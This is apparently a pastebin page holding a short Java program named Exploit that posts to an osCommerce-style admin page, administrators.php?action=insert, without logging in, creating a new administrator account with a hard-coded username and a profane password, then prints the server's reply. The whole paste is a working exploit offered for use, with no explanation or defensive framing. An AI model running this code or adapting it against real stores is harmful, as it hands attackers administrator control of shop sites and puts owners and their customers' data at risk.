Don't like ads? PRO users don't see any ads ;-)
Guest

Untitled

By: a guest on Aug 22nd, 2012  |  syntax: Java  |  size: 1.59 KB  |  hits: 18  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. import java.io.BufferedReader;
  2. import java.io.IOException;
  3. import java.io.InputStreamReader;
  4. import java.io.UnsupportedEncodingException;
  5. import java.util.ArrayList;
  6.  
  7. import org.apache.http.HttpResponse;
  8. import org.apache.http.NameValuePair;
  9. import org.apache.http.client.ClientProtocolException;
  10. import org.apache.http.client.HttpClient;
  11. import org.apache.http.client.entity.UrlEncodedFormEntity;
  12. import org.apache.http.client.methods.HttpPost;
  13. import org.apache.http.impl.client.DefaultHttpClient;
  14. import org.apache.http.message.BasicNameValuePair;
  15.  
  16. public class Exploit {
  17.        
  18.         private static HttpClient client = new DefaultHttpClient();
  19.        
  20.         private static final String ADMIN_PAGE_URL = "http://localhost/osc/admin/administrators.php";
  21.        
  22.         public static void main(String[] args) {
  23.                 HttpPost post = new HttpPost(ADMIN_PAGE_URL+"?action=insert");
  24.         ArrayList<NameValuePair> data = new ArrayList<NameValuePair>(2);
  25.         data.add(new BasicNameValuePair("username", "virt3"));
  26.         data.add(new BasicNameValuePair("password", "fuckthepolice"));
  27.         try {
  28.                         post.setEntity(new UrlEncodedFormEntity(data));
  29.                 } catch (UnsupportedEncodingException e) {
  30.                         e.printStackTrace();
  31.                 }
  32.         try {
  33.                         HttpResponse response = client.execute(post);
  34.                         String currentLine;
  35.                         BufferedReader rBuf = new BufferedReader(new InputStreamReader(response.getEntity().getContent()));
  36.                         while ((currentLine = rBuf.readLine()) != null) {
  37.                                 System.out.println(currentLine);
  38.                         }
  39.                 } catch (ClientProtocolException e) {
  40.                         e.printStackTrace();
  41.                 } catch (IOException e) {
  42.                         e.printStackTrace();
  43.                 }
  44.         }
  45.  
  46. }